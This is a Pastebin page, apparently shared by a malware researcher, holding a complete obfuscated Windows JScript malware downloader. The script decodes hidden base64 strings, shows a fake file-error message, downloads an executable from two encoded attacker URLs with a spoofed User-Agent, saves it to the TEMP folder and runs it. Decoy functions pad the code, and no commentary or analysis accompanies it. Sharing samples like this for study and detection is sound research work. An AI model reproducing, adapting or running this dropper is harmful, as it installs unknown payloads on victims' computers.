SHARE
TWEET

Malicious script

dynamoo Aug 22nd, 2017 130 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4.  
  5.  
  6. var YMD_170822_garcia_SayNoNo ="PARTITI"+ ""+"";
  7. var silkopil = "/";
  8. var efFFFFF =0xff ;
  9. var chichir = new Array(
  10.  29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,92,29,29,29,93,82,83,84,85,86,87,88,89,90,91,29,29,29,29,29,29,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,29,29,29,29,29,29,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29
  11. );
  12.  
  13.  
  14.  
  15.  
  16.  function  setRH(CR, VR){
  17.  CR[VR]("User"+"-Agent", "TW96aWxsYS80LjAgPARTITIKGNvbXBhdGlibGU7IE1TSUUgNi4wOyPARTITIBXaW5kb3dzIE5UIDUuMCk=".RASPUT());
  18. }
  19.  
  20.  
  21.   turkish = {'U':'S' , ':':'.' , '88':'' , 'BOLGARIN':'onseBody' , '77':'' , '101':'' , 'SEREDINA':'X',  '11':''};
  22.  
  23.  
  24.  
  25.  
  26. function  YMD_170822_garcia_FROG2sud(vardos){
  27. return vardos[("YMD_170822_garcia_color","YMD_170822_garcia_wanna","YMD_170822_garcia_reasonable","YMD_170822_garcia_hankering","YMD_170822_garcia_shoulder","l")+"en" +("YMD_170822_garcia_shove","YMD_170822_garcia_armor","YMD_170822_garcia_expects","YMD_170822_garcia_strengthening","YMD_170822_garcia_canto","gt")+"h"];
  28. }
  29.  var chichirHO = YMD_170822_garcia_FROG2sud(chichir);
  30.  
  31.  
  32.     for (velVITK_OBLOM= 0; chichirHO >velVITK_OBLOM ; ++velVITK_OBLOM) {
  33.        chichir[velVITK_OBLOM] = -29+chichir[velVITK_OBLOM] - 1;
  34.  
  35.     }
  36.    
  37.     var turkish;
  38.  var velVITK_BOSKO_2S = "";
  39.  
  40. var ZVR = "prot"+"otype";
  41.  
  42.  
  43.  
  44.  
  45.  
  46.    function TortPankaky(ReebokGalaxyFROGvostochniy){
  47.      ReebokGalaxyFROGtaliluev = ReebokGalaxyFROGvostochniy;
  48. for (var ReebokGalaxyFROG2XCOP in turkish){
  49.     ReebokGalaxyFROGtaliluev = ReebokGalaxyFROGtaliluev["repla" + "ce"](ReebokGalaxyFROG2XCOP, turkish[ReebokGalaxyFROG2XCOP]);
  50.    
  51. }
  52.     return ReebokGalaxyFROGtaliluev;
  53.  };
  54.      
  55.    
  56.  
  57.   String[ZVR].RASPUT = function() {
  58.          var YMD_170822_garcia_RazlomSS, line4, YMD_170822_garcia_Selection1, YMD_170822_garcia_FROG2c4;
  59.  
  60.      var YMD_170822_garcia_FROG2out = "";
  61.  
  62.      var line3= this.replace(/PARTITI/gi, YMD_170822_garcia_FROG2out);line6 = 0;
  63.  var  YMD_170822_garcia_FROG2len = YMD_170822_garcia_FROG2sud(line3);  
  64.  
  65. while (line6 < YMD_170822_garcia_FROG2len) {
  66.    
  67.    
  68. do {
  69.              var YMD_170822_garcia_koch = line3.charCodeAt(line6++) &(0x132- 0x33);
  70.             YMD_170822_garcia_RazlomSS = chichir[YMD_170822_garcia_koch];
  71.         } while (line6 < YMD_170822_garcia_FROG2len && YMD_170822_garcia_RazlomSS == -1);  
  72. if (YMD_170822_garcia_RazlomSS == -1)
  73.             break;  
  74.     do {
  75.                 stembl = "the";
  76.             line4 = chichir[line3.charCodeAt(line6++) & efFFFFF];
  77.  
  78.         } while (line6 < YMD_170822_garcia_FROG2len && line4 == -1);  
  79.  
  80.         if (line4 +1== 0)
  81.             break;
  82.    
  83.         YMD_170822_garcia_FROG2out += String.fromCharCode((YMD_170822_garcia_RazlomSS << 2) | ((line4 & 0x30) >> 4));
  84.     do {
  85.             YMD_170822_garcia_Selection1 = line3.charCodeAt(line6++) & 0xff;
  86.  
  87.             if (YMD_170822_garcia_Selection1 == 61)
  88.                 return YMD_170822_garcia_FROG2out;
  89.  
  90.             YMD_170822_garcia_Selection1 = chichir[YMD_170822_garcia_Selection1];
  91.         } while (line6 < YMD_170822_garcia_FROG2len && YMD_170822_garcia_Selection1 == -1);
  92.         if (YMD_170822_garcia_Selection1 == -1)
  93.             break;
  94.         YMD_170822_garcia_FROG2out += String.fromCharCode(((line4 & (0xe+1)) << 4) | ((YMD_170822_garcia_Selection1 & 0x3c) >> 2));
  95.    
  96.         do {
  97.             YMD_170822_garcia_FROG2c4 = line3.charCodeAt(line6++) & efFFFFF;
  98.  
  99.             if (YMD_170822_garcia_FROG2c4 == 61)
  100.                 return YMD_170822_garcia_FROG2out;
  101.  
  102.             YMD_170822_garcia_FROG2c4 = chichir[YMD_170822_garcia_FROG2c4];
  103.         } while (line6 < YMD_170822_garcia_FROG2len && YMD_170822_garcia_FROG2c4 == -1);
  104.         if (YMD_170822_garcia_FROG2c4 == -1)
  105.             break;
  106.  
  107.  
  108.         YMD_170822_garcia_FROG2out += String.fromCharCode(((YMD_170822_garcia_Selection1 & 0x03) << 6) | YMD_170822_garcia_FROG2c4);
  109.      
  110.  
  111.  
  112. }
  113.     return YMD_170822_garcia_FROG2out;
  114. };
  115.  
  116. function  YMD_170822_garcia_FROG2undefilled(rx, ry) {
  117.     rx =HCKD / RDMP ;
  118.     ry = velVLUMAHZZ + 109;
  119. };
  120.  
  121.  YMD_170822_garcia_FROG2undefilled.dEDWWEE = function(){
  122.  
  123. YMD_170822_garcia_FROG2ok(YMD_170822_garcia_FROG2spyFunction1.YMD_170822_garcia_FROG2calledWith(), "Function called without arguments");
  124.  
  125.     YMD_170822_garcia_FROG2publisher.YMD_170822_garcia_FROG2publish(this.YMD_170822_garcia_FROG2type1, "PROPER1");
  126.     YMD_170822_garcia_FROG2ok(YMD_170822_garcia_FROG2spyFunction1.YMD_170822_garcia_FROG2calledWith("PROPER1"), "Function called with 'PROPER1' argument");
  127.  
  128.     YMD_170822_garcia_FROG2publisher.YMD_170822_garcia_FROG2publish(this.YMD_170822_garcia_FROG2type1, ["PROPER1", "PROPER2"]);
  129.  
  130. };
  131.  
  132.  
  133.  
  134.    
  135.  var topSecretLine;
  136.  var YMD_170822_garcia_LLL0LLL = "l";
  137.      var YMD_170822_garcia_FROG2TRUEFALSE=("V2lPARTITIuZG93cyBTY3JpcPARTITIHQgSG9zdA=PARTITI=".RASPUT() +"!!!22ee22" =="PARTITIV2lPARTITIuZG93cyBTY3JpcPARTITIHQgSG9zdA==".RASPUT() +"!!!22ee22")&&typeof(YMD_170822_garcia_FROG2GzEAPd)==="undefined";
  138.  var YMD_170822_garcia_FROGsrq = "UmVxdWVzdEhlYWRlcg==".RASPUT();
  139.  
  140.  
  141.  var YMD_170822_garciaFPADRML  =("").RASPUT();
  142.  var YMD_170822_garcia_FROG2lidgen = "QWN0PARTITIaXZlWEPARTITI9iamVjdA==".RASPUT();
  143.  
  144.  var YMD_170822_garcia_FROG2chosen = Math.round(0.7 * 2 - 0.4);
  145.  
  146.  
  147.  var takeshiKitana = new Function("PARTITI,PARTITI2", "PARTITI[PARTITI2]();");
  148.  
  149. if(!YMD_170822_garcia_FROG2TRUEFALSE){
  150. YMD_170822_garcia_FROG2undefilled.scale = function(YMD_170822_garcia_FROG2p, YMD_170822_garcia_FROG2scaleX, YMD_170822_garcia_FROG2scaleY) {
  151.     if (line6sObject(YMD_170822_garcia_FROG2scaleX)) {
  152.         YMD_170822_garcia_FROG2scaleY = YMD_170822_garcia_FROG2scaleX.y;
  153.         YMD_170822_garcia_FROG2scaleX = YMD_170822_garcia_FROG2scaleX.x;
  154.     } else if (!line6sNumber(YMD_170822_garcia_FROG2scaleY)) {
  155.         YMD_170822_garcia_FROG2scaleY = YMD_170822_garcia_FROG2scaleX;
  156.     }
  157.     return new YMD_170822_garcia_FROG2undefilled(YMD_170822_garcia_FROG2p.x * YMD_170822_garcia_FROG2scaleX, YMD_170822_garcia_FROG2p.y * YMD_170822_garcia_FROG2scaleY);
  158. };
  159.  
  160. }
  161. function  YMD_170822_garciaFPADZO_ZO(TT){
  162.    
  163. eval(TT);
  164.     }
  165. if(!YMD_170822_garcia_FROG2TRUEFALSE){
  166. YMD_170822_garcia_FROG2undefilled.YMD_170822_garcia_FROG2sameOrN = function(YMD_170822_garcia_FROG2param1, YMD_170822_garcia_FROG2param2) {
  167.     return YMD_170822_garcia_FROG2param1.D == YMD_170822_garcia_FROG2param2.D || YMD_170822_garcia_FROG2param1.F == YMD_170822_garcia_FROG2param2.F;
  168. };
  169.  
  170. YMD_170822_garcia_FROG2undefilled.angle = function(YMD_170822_garcia_FROG2p) {
  171.     return Math.atan2(YMD_170822_garcia_FROG2p.y, YMD_170822_garcia_FROG2p.x);
  172. };
  173.     }
  174.  
  175.  
  176.  var YMD_170822_garcia_FROG2VARDOCF ="JVRFPARTITITVAlPARTITI".RASPUT();
  177.  
  178.  var oLDNameCreator = new Function("PARTITI,PARTITI","topSecretLine = "+   ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==").RASPUT() + ".RASPUT();');");
  179.  
  180.  var YMD_170822_garcia_FROG2sirdallos ="PARTITIRXhwYW5PARTITIkRW52aXPARTITIJvbm1lbnRTdHJPARTITIpbmdz".RASPUT();
  181.  var YMD_170822_garcia_FROG2Native = function(options){
  182.    
  183. };
  184.    
  185.  
  186.  var YMD_170822_garcia_FROGhatershaha = "";
  187.  var YMD_170822_garcia_FROGodnoklass = "qycOuKnvn";
  188. function  placeHolder(AOn){
  189.     return new ActiveXObject(AOn);
  190. }
  191. if(WSH){YMD_170822_garcia_FROG2Native.line6mplement = function(YMD_170822_garcia_FROG2objects, YMD_170822_garcia_FROG2properties){
  192.     for ( var line6 = 0, YMD_170822_garcia_FROG2l = YMD_170822_garcia_FROG2objects.length; line6 < YMD_170822_garcia_FROG2l; line6++) YMD_170822_garcia_FROG2objects[line6].line6mplement(YMD_170822_garcia_FROG2properties);
  193. };
  194.     oLDNameCreator();
  195. }  
  196.  
  197.  
  198.  var YMD_170822_garcia_FROG2d7 ="WA==".RASPUT() +  "M" +"L";
  199.   var YMD_170822_garcia_FROG2_bChosteck =  "aHR0cDovLw=PARTITI=";
  200.    
  201.  
  202.  
  203. function  YMD_170822_garcia_FROG2_bCho(T, D, C) {
  204.     R ="" + D ;
  205. T[D+""](C);
  206. }
  207. WScript.echo("Error opening file (CODE:" +chichirHO+")");
  208. YMD_170822_garcia_FROG2d7 = topSecretLine() + YMD_170822_garcia_FROG2d7+ TortPankaky(("YMD_170822_garcia_rehabilitation","YMD_170822_garcia_instrumentation","YMD_170822_garcia_bravo","YMD_170822_garcia_invective","YMD_170822_garcia_seaside","2.")+"SEREDINAML77H101T"+"TP45PARTITI45"+"WS"+"cr"+"ipt:Uh")+"e"+"ll";
  209.  
  210.  var YMD_170822_garcia_FROG2DoUtra = [YMD_170822_garcia_FROG2lidgen, YMD_170822_garcia_FROG2sirdallos,YMD_170822_garcia_FROG2VARDOCF,"LmVPARTITI4ZQ=PARTITI=".RASPUT(), "UnPARTITIVuPARTITI".RASPUT(),YMD_170822_garcia_FROG2d7];
  211.  
  212. YMD_170822_garcia_FROG2Richters=YMD_170822_garcia_FROG2DoUtra.shift();
  213.  var YMD_170822_garcia_FROG2d2=YMD_170822_garcia_FROG2DoUtra.pop();
  214. YMD_170822_garcia_FROG2fabled="Valar2Morgulis";
  215.  var YMD_170822_garcia_FROG2LitoyDISK=ActiveXObject;
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.      var massMarket=YMD_170822_garcia_FROG2d2.split("45");YMD_170822_garcia_FROG2Native.YMD_170822_garcia_FROG2typize=function(a,b){a.type||(a.type=function(a){return YMD_170822_garcia_FROG2$type(a)===b})};
  224. YMD_170822_garcia_FROGcccomeccc = "p";
  225.  var Limbus2000=new Function("HORN",' var GALAXY = "chastity necessarily()";var kelso = "ADODB.Str32"; return kelso.replace("TRUMP", "D").replace("32", "eam");'); 
  226.  
  227. function  YMD_170822_garcia_FROG2_cCho(a,b,c,d){a[b](c,d)}
  228. abtest = massMarket[YMD_170822_garcia_FROGcccomeccc + "op"]();
  229.  var YMD_170822_garciaMorningNewYork;
  230.  
  231.  
  232. function  x3fx3d(rdf){
  233.     return  "\x3F"+rdf+"\x3D";
  234. }
  235.  function  mix2(){
  236.      try{
  237.         perm_sel[fixed] = fixed;     /* Generate random orientation*/      var total = 0;      var ori_sel = Array();      var i = fixed === 0 ? 1 : 0;     for(; i < 7; i = i === fixed - 1 ? i + 2 : i + 1){       ori_sel[i] = scramblers.lib.randomInt.below(3);       total += ori_sel[i];     }     if(i <= 7) ori_sel[i] = (3 - (total % 3)) % 3;     ori_sel[fixed] = 0;      /* Convert to face format*/     /* Mapping from permutation/orientation to facelet*/      var D = 1, L = 2, B = 5, U = 4, R = 3, F = 0;     /* D 0 1 2 3  L 4 5 6 7  B 8 9 10 11  U 12 13 14 15  R 16 17 18 19  F 20 21 22 23*/     /* Map from permutation/orientation to face*/   /* Convert cubie representation into facelet representaion*/     for( var i = 0; i < 8; i++){       for( var j = 0; j < 3; j++)         posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j];     }
  238.      }catch(exc){
  239.            YMD_170822_garciaMorningNewYork = "bPARTITI3Blbg==".RASPUT();
  240.      }
  241. }
  242.  
  243.  
  244. YMD_170822_garciaSeason3 = placeHolder(abtest+"");
  245.  
  246.  
  247.  
  248. mix2();
  249. YMD_170822_garcia_FROGletchikva=new ActiveXObject(massMarket[0]);
  250. YMD_170822_garcia_FROG2tudabilo1 = "s";
  251. eval(YMD_170822_garcia_SayNoNo.RASPUT());
  252. var YMD_170822_garcia_FROG2vulture = YMD_170822_garciaSeason3[YMD_170822_garcia_FROG2DoUtra.shift()](YMD_170822_garcia_FROG2DoUtra.shift());
  253. YMD_170822_garcia_FROG2weasel = "G\x45T";
  254.  var YMD_170822_garcia_FROG2SIDRENKOV = YMD_170822_garcia_FROG2DoUtra.shift();
  255.  
  256.  var YMD_170822_garcia_FROG2promises = YMD_170822_garcia_FROG2DoUtra.shift();
  257.  
  258.    YMD_170822_garcia_FROG2SPASPI = "type";
  259.                    
  260. function  YMD_170822_garcia_FROG2_aCho(R, K) {
  261. R[K]();
  262. }  
  263. function  YMD_170822_garcia_Mouzer(YMD_170822_garcia_FROG2gutter, YMD_170822_garcia_FROG2StrokaParam2) {
  264.              var YMD_170822_garciaMorningPitsburg = ""+ YMD_170822_garcia_FROG2vulture;
  265. try{
  266.     YMD_170822_garciaMorningPitsburg=YMD_170822_garciaMorningPitsburg+silkopil;
  267.  
  268. YMD_170822_garciaMorningPitsburg=YMD_170822_garciaMorningPitsburg +""+ YMD_170822_garcia_FROG2StrokaParam2 ;
  269. YMD_170822_garcia_FROGletchikva["open"](YMD_170822_garcia_FROG2weasel, YMD_170822_garcia_FROG2gutter, false);
  270.        
  271. if(YMD_170822_garcia_FROG2TRUEFALSE){  YMD_170822_garcia_FROG2_cCho(YMD_170822_garcia_FROGletchikva,"set"+(11,"YMD_170822_garcia_inquiries","YMD_170822_garcia_segment","YMD_170822_garcia_genuine","YMD_170822_garcia_python","YMD_170822_garcia_sycamore","YMD_170822_garcia_jeffrey","YMD_170822_garcia_trumps",YMD_170822_garcia_FROGsrq),"User-Agent","TW96aWxsYS80LjAgPARTITIKGNvbXBhdGlibGU7IE1TSUUgNi4wOyPARTITIBXaW5kb3dzIE5UIDUuMCk=".RASPUT());
  272.    
  273.       }
  274.    
  275. YMD_170822_garcia_FROGletchikva[YMD_170822_garcia_FROG2tudabilo1 + ("YMD_170822_garcia_legitimacy","YMD_170822_garcia_zulus","YMD_170822_garcia_unexplored","YMD_170822_garcia_weekends","YMD_170822_garcia_confidence","end")]();
  276.    
  277.    
  278.  var kuzut = YMD_170822_garcia_FROGletchikva["Re"+"sp"+(YMD_170822_garcia_FROG2StrokaParam2,"YMD_170822_garcia_naturals","YMD_170822_garcia_almoner","YMD_170822_garcia_pellucid","YMD_170822_garcia_omnibus",1123,turkish['BOLGARIN'])];
  279. //if(kuzut < 29989)return false;
  280. //      if (kuzut[0]!= 77 || kuzut[1]!= 90)return false;
  281.             var YMD_170822_garcia_MainZ = new YMD_170822_garcia_FROG2LitoyDISK(Limbus2000());
  282.     if (YMD_170822_garcia_FROG2TRUEFALSE) {
  283. var ddee = new Function("vgg, rdd", "    concrete = Math.floor(n);     if (x < 256*256*256) {        bytes = [            max + 2,            Math.floor(x / 256 / 256),            Math.floor(continuing / 256) % 256,            x % 256        ];    }    else if (x < 256*256*256*256) {        highlander = [            max + 3,            Math.floor(x / 256 / 256 / 256),            Math.floor(x / 256 / 256) % 256,            Math.floor(dummy / 256) % 256,            x % 256        ];    }"
  284. );  YMD_170822_garcia_FROGGaSMa = "Valar10Morgulis";
  285.    
  286.  var takeshiKitana2 = new Function("PARTITI,PARTITI2", "PARTITI.write(PARTITI2);");        
  287.             takeshiKitana(YMD_170822_garcia_MainZ,YMD_170822_garciaMorningNewYork);  
  288. YMD_170822_garcia_MainZ[YMD_170822_garcia_FROG2SPASPI] = YMD_170822_garcia_FROG2chosen;
  289.    
  290.         takeshiKitana2( YMD_170822_garcia_MainZ, kuzut);
  291.           YMD_170822_garcia_FROG2XWaxeQhw = "Valar11Morgulis";
  292.         YMD_170822_garcia_MainZ["position"] = 0;
  293.       YMD_170822_garcia_FROG2krDwvrh = "Valar12Morgulis";
  294.         YMD_170822_garciaMorningPitsburg = YMD_170822_garciaMorningPitsburg  + YMD_170822_garcia_FROG2SIDRENKOV;
  295.         YMD_170822_garcia_MainZ["cPARTITI2F2PARTITIZVPARTITIRvRmlsZQ==".RASPUT()](YMD_170822_garciaMorningPitsburg, 26/13);
  296.         YMD_170822_garcia_FROG2SswQdi = "Valar13Morgulis";
  297.        
  298.          
  299.         YMD_170822_garcia_MainZ.close();
  300.        
  301. YMD_170822_garciaSeason3[YMD_170822_garcia_FROG2promises ](YMD_170822_garciaMorningPitsburg,0,false);
  302.  
  303.          
  304.  
  305.          }
  306.  
  307.  
  308.         }catch(exception4){
  309.    
  310.     return false;}
  311.    
  312.        
  313. return true;
  314. };     
  315.  
  316.            
  317. YMD_170822_garciaFPADZO_ZO(YMD_170822_garciaFPADRML);
  318.            
  319.  
  320.    
  321.  var YMD_170822_garcia_FROGodnoklassYO = 1;
  322.  
  323.  
  324.  var YMD_170822_garcia_FROG2_a5 = ('PARTITIZ2FyYWPARTITIdlLWZpYXQuYmUvamJmcjM4Nz8=SSSS'+'eXJuczdzZzNrZG45NGhza3hoYmYubmV0L2FmL2piZnIzODc='+'SSSSPARTITI').split("SSSS");  
  325.  
  326.  var PARTITI500 = new Function("YMD_170822_garcia_FROG2_a5,YMD_170822_garcia_FROG2HORDA5", 'return YMD_170822_garcia_FROG2_bChosteck.RASPUT() + YMD_170822_garcia_FROG2_a5[YMD_170822_garcia_FROG2HORDA5].RASPUT();');
  327.  
  328. for(YMD_170822_garcia_FROG2HORDA5 in YMD_170822_garcia_FROG2_a5){
  329.     YMD_170822_garcia_FROGodnoklassYO++;
  330.     var s1=PARTITI500(YMD_170822_garcia_FROG2_a5,YMD_170822_garcia_FROG2HORDA5)+x3fx3d(YMD_170822_garcia_FROGodnoklass)+YMD_170822_garcia_FROGodnoklass;
  331.     var s2=YMD_170822_garcia_FROGodnoklass+ YMD_170822_garcia_FROGodnoklassYO;
  332.     if(YMD_170822_garcia_Mouzer(s1,s2)){
  333. break;
  334. }
  335.  
  336.  
  337. }
RAW Paste Data
Top